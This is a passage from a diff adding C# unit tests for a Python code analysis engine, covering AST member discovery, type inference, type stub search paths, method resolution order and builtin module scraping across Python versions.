+            mod.GetMemberNames(null).Should().OnlyContain("C1", "C2", "C3", "C4", "C5",
+                "D", "E",
+                "F1",
+                "f"
+            );
+
+            mod.GetMember(null, "C1").Should().BeOfType<AstPythonType>()
+                .Which.Documentation.Should().Be("C1");
+            mod.GetMember(null, "C2").Should().BeOfType<AstPythonType>();
+            mod.GetMember(null, "C3").Should().BeOfType<AstPythonType>();
+            mod.GetMember(null, "C4").Should().BeOfType<AstPythonType>();
+            mod.GetMember(null, "C5").Should().BeOfType<AstPythonType>()
+                .Which.Documentation.Should().Be("C1");
+            mod.GetMember(null, "D").Should().BeOfType<AstPythonType>();
+            mod.GetMember(null, "E").Should().BeOfType<AstPythonType>();
+            mod.GetMember(null, "f").Should().BeOfType<AstPythonFunction>();
+
+            var f1 = mod.GetMember(null, "F1").Should().BeOfType<AstPythonType>().Which;
+            f1.GetMemberNames(null).Should().OnlyContain("F2", "F3", "F6", "__class__", "__bases__");
+            f1.GetMember(null, "F6").Should().BeOfType<AstPythonType>()
+                .Which.Documentation.Should().Be("C1");
+            f1.GetMember(null, "F2").Should().BeOfType<AstPythonType>();
+            f1.GetMember(null, "F3").Should().BeOfType<AstPythonType>();
+            f1.GetMember(null, "__class__").Should().BeOfType<AstPythonType>();
+            f1.GetMember(null, "__bases__").Should().BeOfType<AstPythonSequence>();
+        }
+
+        [TestMethod, Priority(0)]
+        public void AstFunctions() {
+            var mod = Parse("Functions.py", PythonLanguageVersion.V35);
+            mod.GetMemberNames(null).Should().OnlyContain("f", "f2", "g", "h", "C");
+
+            mod.GetMember(null, "f").Should().BeOfType<AstPythonFunction>()
+                .Which.Documentation.Should().Be("f");
+
+            mod.GetMember(null, "f2").Should().BeOfType<AstPythonFunction>()
+                .Which.Documentation.Should().Be("f");
+
+            mod.GetMember(null, "g").Should().BeOfType<AstPythonFunction>();
+            mod.GetMember(null, "h").Should().BeOfType<AstPythonFunction>();
+
+            var c = mod.GetMember(null, "C").Should().BeOfType<AstPythonType>().Which;
+            c.GetMemberNames(null).Should().OnlyContain("i", "j", "C2", "__class__", "__bases__");
+            c.GetMember(null, "i").Should().BeOfType<AstPythonFunction>();
+            c.GetMember(null, "j").Should().BeOfType<AstPythonFunction>();
+            c.GetMember(null, "__class__").Should().BeOfType<AstPythonType>();
+            c.GetMember(null, "__bases__").Should().BeOfType<AstPythonSequence>();
+
+            var c2 = c.GetMember(null, "C2").Should().BeOfType<AstPythonType>().Which;
+            c2.GetMemberNames(null).Should().OnlyContain("k", "__class__", "__bases__");
+            c2.GetMember(null, "k").Should().BeOfType<AstPythonFunction>();
+            c2.GetMember(null, "__class__").Should().BeOfType<AstPythonType>();
+            c2.GetMember(null, "__bases__").Should().BeOfType<AstPythonSequence>();
+        }
+
+        [TestMethod, Priority(0)]
+        public async Task AstValues() {
+            using (var server = await CreateServerAsync()) {
+                var analysis = await server.OpenDefaultDocumentAndGetAnalysisAsync("from Values import *");
+
+                analysis.Should().HaveVariable("x").OfTypes(BuiltinTypeId.Int)
+                    .And.HaveVariable("y").OfTypes(BuiltinTypeId.Str)
+                    .And.HaveVariable("z").OfTypes(BuiltinTypeId.Bytes)
+                    .And.HaveVariable("pi").OfTypes(BuiltinTypeId.Float)
+                    .And.HaveVariable("l").OfTypes(BuiltinTypeId.List)
+                    .And.HaveVariable("t").OfTypes(BuiltinTypeId.Tuple)
+                    .And.HaveVariable("d").OfTypes(BuiltinTypeId.Dict)
+                    .And.HaveVariable("s").OfTypes(BuiltinTypeId.Set)
+                    .And.HaveVariable("X").OfTypes(BuiltinTypeId.Int)
+                    .And.HaveVariable("Y").OfTypes(BuiltinTypeId.Str)
+                    .And.HaveVariable("Z").OfTypes(BuiltinTypeId.Bytes)
+                    .And.HaveVariable("PI").OfTypes(BuiltinTypeId.Float)
+                    .And.HaveVariable("L").OfTypes(BuiltinTypeId.List)
+                    .And.HaveVariable("T").OfTypes(BuiltinTypeId.Tuple)
+                    .And.HaveVariable("D").OfTypes(BuiltinTypeId.Dict)
+                    .And.HaveVariable("S").OfTypes(BuiltinTypeId.Set);
+            }
+        }
+
+        [TestMethod, Priority(0)]
+        public async Task AstMultiValues() {
+            using (var server = await CreateServerAsync()) {
+                var analysis = await server.OpenDefaultDocumentAndGetAnalysisAsync("from MultiValues import *");
+
+                analysis.Should().HaveVariable("x").OfTypes(BuiltinTypeId.Int)
+                    .And.HaveVariable("y").OfTypes(BuiltinTypeId.Str)
+                    .And.HaveVariable("z").OfTypes(BuiltinTypeId.Bytes)
+                    .And.HaveVariable("l").OfTypes(BuiltinTypeId.List)
+                    .And.HaveVariable("t").OfTypes(BuiltinTypeId.Tuple)
+                    .And.HaveVariable("s").OfTypes(BuiltinTypeId.Set)
+                    .And.HaveVariable("XY").OfTypes(BuiltinTypeId.Int, BuiltinTypeId.Str)
+                    .And.HaveVariable("XYZ").OfTypes(BuiltinTypeId.Int, BuiltinTypeId.Str, BuiltinTypeId.Bytes)
+                    .And.HaveVariable("D").OfTypes(BuiltinTypeId.List, BuiltinTypeId.Tuple, BuiltinTypeId.Dict, BuiltinTypeId.Set);
+            }
+        }
+
+        [TestMethod, Priority(0)]
+        public void AstImports() {
+            var mod = Parse("Imports.py", PythonLanguageVersion.V35);
+            mod.GetMemberNames(null).Should().OnlyContain("version_info", "a_made_up_module");
+        }
+
+        [TestMethod, Priority(0)]
+        public async Task AstReturnTypes() {
+            using (var server = await CreateServerAsync()) {
+                var code = @"from ReturnValues import *
+R_str = r_str()
+R_object = r_object()
+R_A1 = A()
+R_A2 = A().r_A()
+R_A3 = R_A1.r_A()";
+                var analysis = await server.OpenDefaultDocumentAndGetAnalysisAsync(code);
+
+                analysis.Should().HaveFunctionVariables("r_a", "r_b", "r_str", "r_object")
+                    .And.HaveClassVariables("A")
+                    .And.HaveVariable("R_str").OfTypes(BuiltinTypeId.Str)
+                    .And.HaveVariable("R_object").OfTypes(BuiltinTypeId.Object)
+                    .And.HaveVariable("R_A1").OfTypes("A").WithDescription("A")
+                    .And.HaveVariable("R_A2").OfTypes("A").WithDescription("A")
+                    .And.HaveVariable("R_A3").OfTypes("A").WithDescription("A");
+            }
+        }
+
+        [TestMethod, Priority(0)]
+        public async Task AstInstanceMembers() {
+            using (var server = await CreateServerAsync()) {
+                var analysis = await server.OpenDefaultDocumentAndGetAnalysisAsync("from InstanceMethod import f1, f2");
+
+                analysis.Should().HaveVariable("f1").OfType(BuiltinTypeId.BuiltinFunction).WithValue<BuiltinFunctionInfo>()
+                    .And.HaveVariable("f2").OfType(BuiltinTypeId.BuiltinMethodDescriptor).WithValue<BoundBuiltinMethodInfo>();
+            }
+        }
+
+        [TestMethod, Priority(0)]
+        public async Task AstInstanceMembers_Random() {
+            using (var server = await CreateServerAsync()) {
+                var analysis = await server.OpenDefaultDocumentAndGetAnalysisAsync("from random import *");
+
+                foreach (var fnName in new[] { "seed", "randrange", "gauss" }) {
+                    analysis.Should().HaveVariable(fnName)
+                        .OfType(BuiltinTypeId.BuiltinMethodDescriptor)
+                        .WithValue<BoundBuiltinMethodInfo>()
+                        .Which.Should().HaveOverloadWithParametersAt(0);
+                }
+            }
+        }
+
+        [TestMethod, Priority(0)]
+        public async Task AstLibraryMembers_Datetime() {
+            using (var server = await CreateServerAsync()) {
+                var analysis = await server.OpenDefaultDocumentAndGetAnalysisAsync("import datetime");
+
+                var datetimeType = analysis.Should().HavePythonModuleVariable("datetime")
+                    .Which.Should().HaveClass("datetime")
+                    .Which;
+
+                datetimeType.Should().HaveReadOnlyProperty("day").And.HaveMethod("now")
+                    .Which.Should().BeClassMethod().And.HaveSingleOverload()
+                    .Which.Should().HaveSingleReturnType()
+                    .Which.Should().BeSameAs(datetimeType);
+            }
+        }
+
+        [TestMethod, Priority(0)]
+        public async Task AstComparisonTypeInference() {
+            var code = @"
+class BankAccount(object):
+    def __init__(self, initial_balance=0):
+        self.balance = initial_balance
+    def withdraw(self, amount):
+        self.balance -= amount
+    def overdrawn(self):
+        return self.balance < 0
+";
+
+            using (var server = await CreateServerAsync()) {
+                var analysis = await server.OpenDefaultDocumentAndGetAnalysisAsync(code);
+
+                analysis.Should().HaveClass("BankAccount")
+                    .Which.Should().HaveVariable("overdrawn").WithValue<IFunctionInfo>()
+                    .Which.Should().HaveOverloadAt(0)
+                    .Which.Should().HaveSingleReturnType("bool");
+            }
+        }
+
+        [TestMethod, Priority(0)]
+        public async Task AstSearchPathsThroughFactory() {
+            using (var factory = CreateInterpreterFactory())
+            using (var analyzer = await PythonAnalyzer.CreateAsync(factory)) {
+                try {
+                    var interpreter = (AstPythonInterpreter)analyzer.Interpreter;
+
+                    var moduleNamesChanged = EventTaskSources.AstPythonInterpreter.ModuleNamesChanged.Create(interpreter, new CancellationTokenSource(1000).Token);
+                    factory.SetCurrentSearchPaths(new[] { TestData.GetPath(Path.Combine("TestData", "AstAnalysis")) });
+                    await moduleNamesChanged;
+
+                    interpreter.GetModuleNames().Should().Contain("Values");
+                    interpreter.ImportModule("Values").Should().NotBeNull("module should be available");
+
+                    moduleNamesChanged = EventTaskSources.AstPythonInterpreter.ModuleNamesChanged.Create(interpreter, new CancellationTokenSource(1000).Token);
+                    factory.SetCurrentSearchPaths(Enumerable.Empty<string>());
+                    await moduleNamesChanged;
+
+                    interpreter.GetModuleNames().Should().NotContain("Values");
+                    interpreter.ImportModule("Values").Should().BeNull("module should be removed");
+                } finally {
+                    _analysisLog = factory.GetAnalysisLogContent(CultureInfo.InvariantCulture);
+                }
+            }
+        }
+
+        [TestMethod, Priority(0)]
+        public async Task AstSearchPathsThroughAnalyzer() {
+            using (var factory = CreateInterpreterFactory())
+            using (var analyzer = await PythonAnalyzer.CreateAsync(factory)) {
+                try {
+                    var interpreter = (AstPythonInterpreter)analyzer.Interpreter;
+
+                    var moduleNamesChanged = EventTaskSources.AstPythonInterpreter.ModuleNamesChanged.Create(interpreter, new CancellationTokenSource(1000).Token);
+                    analyzer.SetSearchPaths(new[] { TestData.GetPath(Path.Combine("TestData", "AstAnalysis")) });
+                    await moduleNamesChanged;
+
+                    interpreter.GetModuleNames().Should().Contain("Values");
+                    interpreter.ImportModule("Values").Should().NotBeNull("module should be available");
+
+                    moduleNamesChanged = EventTaskSources.AstPythonInterpreter.ModuleNamesChanged.Create(interpreter, new CancellationTokenSource(1000).Token);
+                    analyzer.SetSearchPaths(Enumerable.Empty<string>());
+                    await moduleNamesChanged;
+
+                    interpreter.GetModuleNames().Should().NotContain("Values");
+                    interpreter.ImportModule("Values").Should().BeNull("module should be removed");
+                } finally {
+                    _analysisLog = factory.GetAnalysisLogContent(CultureInfo.InvariantCulture);
+                }
+            }
+        }
+
+        [TestMethod, Priority(0)]
+        public async Task AstTypeStubPaths_NoStubs() {
+            using (var server = await CreateServerAsync()) {
+                var analysis = await GetStubBasedAnalysis(
+                    server, 
+                    "import Package.Module\n\nc = Package.Module.Class()",
+                    new AnalysisLimits { UseTypeStubPackages = false },
+                    searchPaths: new[] { TestData.GetPath(Path.Combine("TestData", "AstAnalysis")) },
+                    stubPaths: Enumerable.Empty<string>());
+
+                analysis.Should().HavePythonModuleVariable("Package");
+
+                analysis.Should().HaveVariable("c")
+                    .WithValue<IBuiltinInstanceInfo>()
+                    .Which.Should().HaveMembers("untyped_method", "inferred_method")
+                    .And.NotHaveMembers("typed_method", "typed_method_2");
+            }
+        }
+
+        [TestMethod, Priority(0)]
+        public async Task AstTypeStubPaths_MergeStubs() {
+            using (var server = await CreateServerAsync()) {
+                var analysis = await GetStubBasedAnalysis(server,
+                    "import Package.Module\n\nc = Package.Module.Class()",
+                    new AnalysisLimits {
+                        UseTypeStubPackages = true,
+                        UseTypeStubPackagesExclusively = false
+                    },
+                    searchPaths: new[] { TestData.GetPath(Path.Combine("TestData", "AstAnalysis")) },
+                    stubPaths: Enumerable.Empty<string>());
+
+                analysis.Should().HavePythonModuleVariable("Package");
+
+                analysis.Should().HaveVariable("c")
+                    .WithValue<IBuiltinInstanceInfo>()
+                    .Which.Should().HaveMembers("untyped_method", "inferred_method", "typed_method")
+                    .And.NotHaveMembers("typed_method_2");
+            }
+        }
+
+        [TestMethod, Priority(0)]
+
+        public async Task AstTypeStubPaths_MergeStubsPath() {
+            using (var server = await CreateServerAsync()) {
+                var analysis = await GetStubBasedAnalysis(
+                    server, 
+                    "import Package.Module\n\nc = Package.Module.Class()",
+                    null,
+                    searchPaths: new[] { TestData.GetPath(Path.Combine("TestData", "AstAnalysis")) },
+                    stubPaths: new[] { TestData.GetPath(Path.Combine("TestData", "AstAnalysis", "Stubs")) });
+
+                analysis.Should().HavePythonModuleVariable("Package"); // member information comes from multiple sources
+
+                analysis.Should().HaveVariable("c")
+                    .WithValue<IBuiltinInstanceInfo>()
+                    .Which.Should().HaveMembers("untyped_method", "inferred_method", "typed_method_2")
+                    .And.NotHaveMembers("typed_method");
+            }
+        }
+
+        [TestMethod, Priority(0)]
+        public async Task AstTypeStubPaths_ExclusiveStubs() {
+            using (var server = await CreateServerAsync()) {
+                var analysis = await GetStubBasedAnalysis(
+                    server, 
+                    "import Package.Module\n\nc = Package.Module.Class()",
+                    new AnalysisLimits {
+                        UseTypeStubPackages = true,
+                        UseTypeStubPackagesExclusively = true
+                    },
+                    searchPaths: new[] { TestData.GetPath(Path.Combine("TestData", "AstAnalysis")) },
+                    stubPaths: new[] { TestData.GetPath(Path.Combine("TestData", "AstAnalysis", "Stubs")) });
+
+                analysis.Should().HavePythonModuleVariable("Package");
+
+                analysis.Should().HaveVariable("c")
+                    .WithValue<IBuiltinInstanceInfo>()
+                    .Which.Should().HaveMembers("typed_method_2")
+                    .And.NotHaveMembers("untyped_method", "inferred_method", "typed_method");
+            }
+        }
+
+        private async Task<IModuleAnalysis> GetStubBasedAnalysis(
+            Server server,
+            string code,
+            AnalysisLimits limits,
+            IEnumerable<string> searchPaths,
+            IEnumerable<string> stubPaths) {
+
+            if (limits != null) {
+                server.Analyzer.Limits = limits;
+            }
+            server.Analyzer.SetSearchPaths(searchPaths);
+            server.Analyzer.SetTypeStubPaths(stubPaths);
+
+            var uri = await server.OpenDefaultDocumentAndGetUriAsync(code);
+            return await server.GetAnalysisAsync(uri);
+        }
+
+        [TestMethod, Priority(0)]
+        public void AstMro() {
+            var O = new AstPythonType("O");
+            var A = new AstPythonType("A");
+            var B = new AstPythonType("B");
+            var C = new AstPythonType("C");
+            var D = new AstPythonType("D");
+            var E = new AstPythonType("E");
+            var F = new AstPythonType("F");
+
+            F.SetBases(null, new[] { O });
+            E.SetBases(null, new[] { O });
+            D.SetBases(null, new[] { O });
+            C.SetBases(null, new[] { D, F });
+            B.SetBases(null, new[] { D, E });
+            A.SetBases(null, new[] { B, C });
+
+            AstPythonType.CalculateMro(A).Should().Equal(new[] { "A", "B", "C", "D", "E", "F", "O" }, (p, n) => p.Name == n);
+            AstPythonType.CalculateMro(B).Should().Equal(new[] { "B", "D", "E", "O" }, (p, n) => p.Name == n);
+            AstPythonType.CalculateMro(C).Should().Equal(new[] { "C", "D", "F", "O" }, (p, n) => p.Name == n);
+        }
+
+        private static IPythonModule Parse(string path, PythonLanguageVersion version) {
+            var interpreter = InterpreterFactoryCreator.CreateAnalysisInterpreterFactory(version.ToVersion()).CreateInterpreter();
+            if (!Path.IsPathRooted(path)) {
+                path = TestData.GetPath(Path.Combine("TestData", "AstAnalysis", path));
+            }
+            return PythonModuleLoader.FromFile(interpreter, path, version);
+        }
+
+        [TestMethod, Priority(0)]
+        public async Task ScrapedTypeWithWrongModule() {
+            var version = PythonVersions.Versions
+                .Concat(PythonVersions.AnacondaVersions)
+                .LastOrDefault(v => Directory.Exists(Path.Combine(v.PrefixPath, "Lib", "site-packages", "numpy")));
+            version.AssertInstalled();
+
+            Console.WriteLine("Using {0}", version.PrefixPath);
+            using (var server = await CreateServerAsync(version)) {
+                var uri = await server.OpenDefaultDocumentAndGetUriAsync("import numpy.core.numeric as NP; ndarray = NP.ndarray");
+                await server.WaitForCompleteAnalysisAsync(CancellationToken.None);
+                var hover = await server.SendHover(uri, 0, 34);
+                hover.Should().HaveTypeName("numpy.core.multiarray.ndarray");
+            }
+        }
+
+        [TestMethod, Priority(0)]
+        public async Task ScrapedSpecialFloats() {
+            using (var server = await CreateServerAsync()) {
+                var analysis = await server.OpenDefaultDocumentAndGetAnalysisAsync("import math; inf = math.inf; nan = math.nan");
+
+                analysis.Should().HaveVariable("math")
+                    .And.HaveVariable("inf").OfType(BuiltinTypeId.Float).WithValue<NumericInstanceInfo>()
+                    .And.HaveVariable("nan").OfType(BuiltinTypeId.Float).WithValue<NumericInstanceInfo>();
+            }
+        }
+
+        #endregion
+
+        #region Black-box sanity tests
+        // "Do we crash?"
+
+        [TestMethod, Priority(0)]
+        public void AstBuiltinScrapeV37() => AstBuiltinScrape(PythonVersions.Python37_x64 ?? PythonVersions.Python37);
+
+        [TestMethod, Priority(0)]
+        public void AstBuiltinScrapeV36() => AstBuiltinScrape(PythonVersions.Python36_x64 ?? PythonVersions.Python36);
+
+        [TestMethod, Priority(0)]
+        public void AstBuiltinScrapeV35() => AstBuiltinScrape(PythonVersions.Python35_x64 ?? PythonVersions.Python35);
+
+        [TestMethod, Priority(0)]
+        public void AstBuiltinScrapeV34() => AstBuiltinScrape(PythonVersions.Python34_x64 ?? PythonVersions.Python34);
+
+        [TestMethod, Priority(0)]
+        public void AstBuiltinScrapeV33() => AstBuiltinScrape(PythonVersions.Python33_x64 ?? PythonVersions.Python33);
+
+        [TestMethod, Priority(0)]
+        public void AstBuiltinScrapeV32() => AstBuiltinScrape(PythonVersions.Python32_x64 ?? PythonVersions.Python32);
+
+        [TestMethod, Priority(0)]
+        public void AstBuiltinScrapeV31() => AstBuiltinScrape(PythonVersions.Python31_x64 ?? PythonVersions.Python31);
+
+        [TestMethod, Priority(0)]
+        public void AstBuiltinScrapeV27() => AstBuiltinScrape(PythonVersions.Python27_x64 ?? PythonVersions.Python27);
+
+        [TestMethod, Priority(0)]
+        public void AstBuiltinScrapeV26() => AstBuiltinScrape(PythonVersions.Python26_x64 ?? PythonVersions.Python26);
+
+        [TestMethod, Priority(0)]
+        public void AstBuiltinScrapeIPy27() => AstBuiltinScrape(PythonVersions.IronPython27_x64 ?? PythonVersions.IronPython27);
+
+
+        private void AstBuiltinScrape(InterpreterConfiguration configuration) {
+            AstScrapedPythonModule.KeepAst = true;
+            configuration.AssertInstalled();
+            using (var factory = CreateInterpreterFactory(configuration))
+            using (var analyzer = PythonAnalyzer.CreateSynchronously(factory)) {
+                try {
+                    var interp = (AstPythonInterpreter)analyzer.Interpreter;
+                    var ctxt = interp.CreateModuleContext();
+
+                    var mod = interp.ImportModule(interp.BuiltinModuleName);
+                    Assert.IsInstanceOfType(mod, typeof(AstBuiltinsPythonModule));
+                    mod.Imported(ctxt);
+
+                    var modPath = factory.ModuleCache.GetCacheFilePath(factory.Configuration.InterpreterPath);
+                    if (File.Exists(modPath)) {
+                        _moduleCache = File.ReadAllText(modPath);
+                    }
+
+                    var errors = ((AstScrapedPythonModule)mod).ParseErrors ?? Enumerable.Empty<string>();
+                    foreach (var err in errors) {
+                        Console.WriteLine(err);
+                    }
+                    Assert.AreEqual(0, errors.Count(), "Parse errors occurred");
+
+                    var seen = new HashSet<string>();
+                    foreach (var stmt in ((Ast.SuiteStatement)((AstScrapedPythonModule)mod).Ast.Body).Statements) {
+                        if (stmt is Ast.ClassDefinition cd) {
+                            Assert.IsTrue(seen.Add(cd.Name), $"Repeated use of {cd.Name} at index {cd.StartIndex} in {modPath}");
+                        } else if (stmt is Ast.FunctionDefinition fd) {
+                            Assert.IsTrue(seen.Add(fd.Name), $"Repeated use of {fd.Name} at index {fd.StartIndex} in {modPath}");
+                        } else if (stmt is Ast.AssignmentStatement assign && assign.Left.FirstOrDefault() is Ast.NameExpression n) {
+                            Assert.IsTrue(seen.Add(n.Name), $"Repeated use of {n.Name} at index {n.StartIndex} in {modPath}");
+                        }
+                    }
+
+                    // Ensure we can get all the builtin types
+                    foreach (BuiltinTypeId v in Enum.GetValues(typeof(BuiltinTypeId))) {
+                        var type = interp.GetBuiltinType(v);
+                        type.Should().NotBeNull().And.BeOfType<AstPythonBuiltinType>($"Did not find {v}");
+                    }
+
+                    // Ensure we cannot see or get builtin types directly
+                    mod.GetMemberNames(null).Should().NotContain(Enum.GetNames(typeof(BuiltinTypeId)).Select(n => $"__{n}"));
+
+                    foreach (var id in Enum.GetNames(typeof(BuiltinTypeId))) {
+                        mod.GetMember(null, $"__{id}").Should().BeNull(id);
+                    }
+                } finally {
+                    AstScrapedPythonModule.KeepAst = false;
+                    _analysisLog = factory.GetAnalysisLogContent(CultureInfo.InvariantCulture);
+                }
+            }
+        }
+
+        [TestMethod, Priority(0)]
+        public void AstNativeBuiltinScrapeV37x64() => AstNativeBuiltinScrape(PythonVersions.Python37_x64);
+
+        [TestMethod, Priority(0)]
+        public void AstNativeBuiltinScrapeV36x64() => AstNativeBuiltinScrape(PythonVersions.Python36_x64);
+
+        [TestMethod, Priority(0)]
+        public void AstNativeBuiltinScrapeV35x64() => AstNativeBuiltinScrape(PythonVersions.Python35_x64);
+
+        [TestMethod, Priority(0)]
+        public void AstNativeBuiltinScrapeV34x64() => AstNativeBuiltinScrape(PythonVersions.Python34_x64);
+
+        [TestMethod, Priority(0)]
+        public void AstNativeBuiltinScrapeV33x64() => AstNativeBuiltinScrape(PythonVersions.Python33_x64);
+
+        [TestMethod, Priority(0)]
+        public void AstNativeBuiltinScrapeV32x64() => AstNativeBuiltinScrape(PythonVersions.Python32_x64);
+
+        [TestMethod, Priority(0)]
+        public void AstNativeBuiltinScrapeV31x64() => AstNativeBuiltinScrape(PythonVersions.Python31_x64);
+
+        [TestMethod, Priority(0)]
+        public void AstNativeBuiltinScrapeV27x64() => AstNativeBuiltinScrape(PythonVersions.Python27_x64);
+
+        [TestMethod, Priority(0)]
+        public void AstNativeBuiltinScrapeV26x64() => AstNativeBuiltinScrape(PythonVersions.Python26_x64);
+
+        [TestMethod, Priority(0)]
+        public void AstNativeBuiltinScrapeV37x86() => AstNativeBuiltinScrape(PythonVersions.Python37);
+
+        [TestMethod, Priority(0)]
+        public void AstNativeBuiltinScrapeV36x86() => AstNativeBuiltinScrape(PythonVersions.Python36);
+
+        [TestMethod, Priority(0)]
+        public void AstNativeBuiltinScrapeV35x86() => AstNativeBuiltinScrape(PythonVersions.Python35);
+
+        [TestMethod, Priority(0)]
+        public void AstNativeBuiltinScrapeV34x86() => AstNativeBuiltinScrape(PythonVersions.Python34);
+
+        [TestMethod, Priority(0)]
+        public void AstNativeBuiltinScrapeV33x86() => AstNativeBuiltinScrape(PythonVersions.Python33);
+
+        [TestMethod, Priority(0)]
+        public void AstNativeBuiltinScrapeV32x86() => AstNativeBuiltinScrape(PythonVersions.Python32);
+
+        [TestMethod, Priority(0)]
+        public void AstNativeBuiltinScrapeV31x86() => AstNativeBuiltinScrape(PythonVersions.Python31);
+
+        [TestMethod, Priority(0)]
+        public void AstNativeBuiltinScrapeV27x86() => AstNativeBuiltinScrape(PythonVersions.Python27);
+
+        [TestMethod, Priority(0)]
+        public void AstNativeBuiltinScrapeV26x86() => AstNativeBuiltinScrape(PythonVersions.Python26);
+
+
+        private void AstNativeBuiltinScrape(InterpreterConfiguration configuration) {
+            configuration.AssertInstalled();
+            AstScrapedPythonModule.KeepAst = true;
+            using (var factory = CreateInterpreterFactory(configuration))
+            using (var analyzer = PythonAnalyzer.CreateSynchronously(factory)) {
+                try {
+                    var interpreter = (AstPythonInterpreter)analyzer.Interpreter;
+                    var ctxt = interpreter.CreateModuleContext();
+
+                    var dllsDir = PathUtils.GetAbsoluteDirectoryPath(factory.Configuration.PrefixPath, "DLLs");
+                    if (!Directory.Exists(dllsDir)) {
+                        Assert.Inconclusive("Configuration does not have DLLs");
+                    }
+
+                    var report = new List<string>();
+                    var permittedImports = factory.GetLanguageVersion().Is2x() ?
+                        new[] { interpreter.BuiltinModuleName, "exceptions" } :
+                        new[] { interpreter.BuiltinModuleName };
+
+                    foreach (var pyd in Microsoft.PythonTools.Analysis.Infrastructure.PathUtils.EnumerateFiles(dllsDir, "*", recurse: false).Where(ModulePath.IsPythonFile)) {
+                        var mp = ModulePath.FromFullPath(pyd);
+                        if (mp.IsDebug) {
+                            continue;
+                        }
+
+                        Console.WriteLine("Importing {0} from {1}", mp.ModuleName, mp.SourceFile);
+                        var mod = interpreter.ImportModule(mp.ModuleName);
+                        Assert.IsInstanceOfType(mod, typeof(AstScrapedPythonModule));
+                        mod.Imported(ctxt);
+
+                        var modPath = factory.ModuleCache.GetCacheFilePath(pyd);
+                        Assert.IsTrue(File.Exists(modPath), "No cache file created");
+                        _moduleCache = File.ReadAllText(modPath);
+
+                        var errors = ((AstScrapedPythonModule)mod).ParseErrors ?? Enumerable.Empty<string>();
+                        foreach (var err in errors) {
+                            Console.WriteLine(err);
+                        }
+                        Assert.AreEqual(0, errors.Count(), "Parse errors occurred");
+
+                        var ast = ((AstScrapedPythonModule)mod).Ast;
+
+
+                        var imports = ((Ast.SuiteStatement)ast.Body).Statements
+                            .OfType<Ast.ImportStatement>()
+                            .SelectMany(s => s.Names)
+                            .Select(n => n.MakeString())
+                            .Except(permittedImports)
+                            .ToArray();
+
+                        // We expect no imports (after excluding builtins)
+                        report.AddRange(imports.Select(n => $"{mp.ModuleName} imported {n}"));
+
+                        _moduleCache = null;
+                    }
+
+                    report.Should().BeEmpty();
+                } finally {
+                    AstScrapedPythonModule.KeepAst = false;
+                    _analysisLog = factory.GetAnalysisLogContent(CultureInfo.InvariantCulture);
+                }
+            }
+        }
+
+        [TestMethod, TestCategory("60s"), Priority(0)]
+        public async Task FullStdLibV37() {
+            var v = PythonVersions.Python37 ?? PythonVersions.Python37_x64;
+            await FullStdLibTest(v);
+        }
+
+
+        [TestMethod, TestCategory("60s"), Priority(0)]
+        public async Task FullStdLibV36() {
+            var v = PythonVersions.Python36 ?? PythonVersions.Python36_x64;
+            await FullStdLibTest(v);
+        }
+
+
+        [TestMethod, TestCategory("60s"), Priority(0)]
+        public async Task FullStdLibV35() {
+            var v = PythonVersions.Python35 ?? PythonVersions.Python35_x64;
+            await FullStdLibTest(v);
+        }
+
+        [TestMethod, TestCategory("60s"), Priority(0)]
+        public async Task FullStdLibV34() {
+            var v = PythonVersions.Python34 ?? PythonVersions.Python34_x64;
+            await FullStdLibTest(v);
+        }
+
+        [TestMethod, TestCategory("60s"), Priority(0)]
+        public async Task FullStdLibV33() {
+            var v = PythonVersions.Python33 ?? PythonVersions.Python33_x64;
+            await FullStdLibTest(v);
+        }
+
+        [TestMethod, TestCategory("60s"), Priority(0)]
+        public async Task FullStdLibV32() {
+            var v = PythonVersions.Python31 ?? PythonVersions.Python32_x64;
+            await FullStdLibTest(v);
+        }
+
+        [TestMethod, TestCategory("60s"), Priority(0)]
+        public async Task FullStdLibV31() {
+            var v = PythonVersions.Python31 ?? PythonVersions.Python32_x64;
+            await FullStdLibTest(v);
+        }
+
+        [TestMethod, TestCategory("60s"), Priority(0)]
+        public async Task FullStdLibV27() {
+            var v = PythonVersions.Python27 ?? PythonVersions.Python27_x64;
+            await FullStdLibTest(v);
+        }
+
+        [TestMethod, TestCategory("60s"), Priority(0)]
+        public async Task FullStdLibV26() {
+            var v = PythonVersions.Python26 ?? PythonVersions.Python26_x64;
+            await FullStdLibTest(v);
+        }
+
+        [TestMethod, TestCategory("60s"), Priority(1)]
+        [Timeout(10 * 60 * 1000)]
+        public async Task FullStdLibAnaconda3() {
+            var v = PythonVersions.Anaconda36_x64 ?? PythonVersions.Anaconda36;
+            await FullStdLibTest(v,
+                // Crashes Python on import
+                "sklearn.linear_model.cd_fast",
+                // Crashes Python on import
+                "sklearn.cluster._k_means_elkan"
+            );
+        }
+
+        [TestMethod, TestCategory("60s"), Priority(1)]
+        [Timeout(10 * 60 * 1000)]
+        public async Task FullStdLibAnaconda2() {
+            var v = PythonVersions.Anaconda27_x64 ?? PythonVersions.Anaconda27;
+            await FullStdLibTest(v,
+                // Fails to import due to SxS manifest issues
+                "dde",
+                "win32ui"
+            );
+        }
+
+        [TestMethod, TestCategory("60s"), Priority(0)]
+        public async Task FullStdLibIPy27() {
+            var v = PythonVersions.IronPython27 ?? PythonVersions.IronPython27_x64;
+            await FullStdLibTest(v);
+        }
+
+
+        private async Task FullStdLibTest(InterpreterConfiguration configuration, params string[] skipModules) {
+            configuration.AssertInstalled();
+            var factory = new AstPythonInterpreterFactory(configuration, new InterpreterFactoryCreationOptions {
+                DatabasePath = TestData.GetAstAnalysisCachePath(configuration.Version, true),
+                UseExistingCache = false
+            });
+            var modules = ModulePath.GetModulesInLib(configuration.PrefixPath).ToList();
+
+            var skip = new HashSet<string>(skipModules);
+            skip.UnionWith(new[] {
+                "matplotlib.backends._backend_gdk",
+                "matplotlib.backends._backend_gtkagg",
+                "matplotlib.backends._gtkagg",
+                "test.test_pep3131",
+                "test.test_unicode_identifiers"
+            });
+            skip.UnionWith(modules.Select(m => m.FullName).Where(n => n.StartsWith("test.badsyntax") || n.StartsWith("test.bad_coding")));
+
+            var anySuccess = false;
+            var anyExtensionSuccess = false;
+            var anyExtensionSeen = false;
+            var anyParseError = false;
+
+            using (var analyzer = await PythonAnalyzer.CreateAsync(factory)) {
+                try {
+                    PythonModuleLoader.KeepParseErrors = true;
+                    var tasks = new List<Task<Tuple<ModulePath, IPythonModule>>>();
+                    var interp = (AstPythonInterpreter)analyzer.Interpreter;
+                    foreach (var m in skip) {
+                        interp.AddUnimportableModule(m);
+                    }
+
+                    foreach (var r in modules
+                        .Where(m => !skip.Contains(m.ModuleName))
+                        .GroupBy(m => {
+                            int i = m.FullName.IndexOf('.');
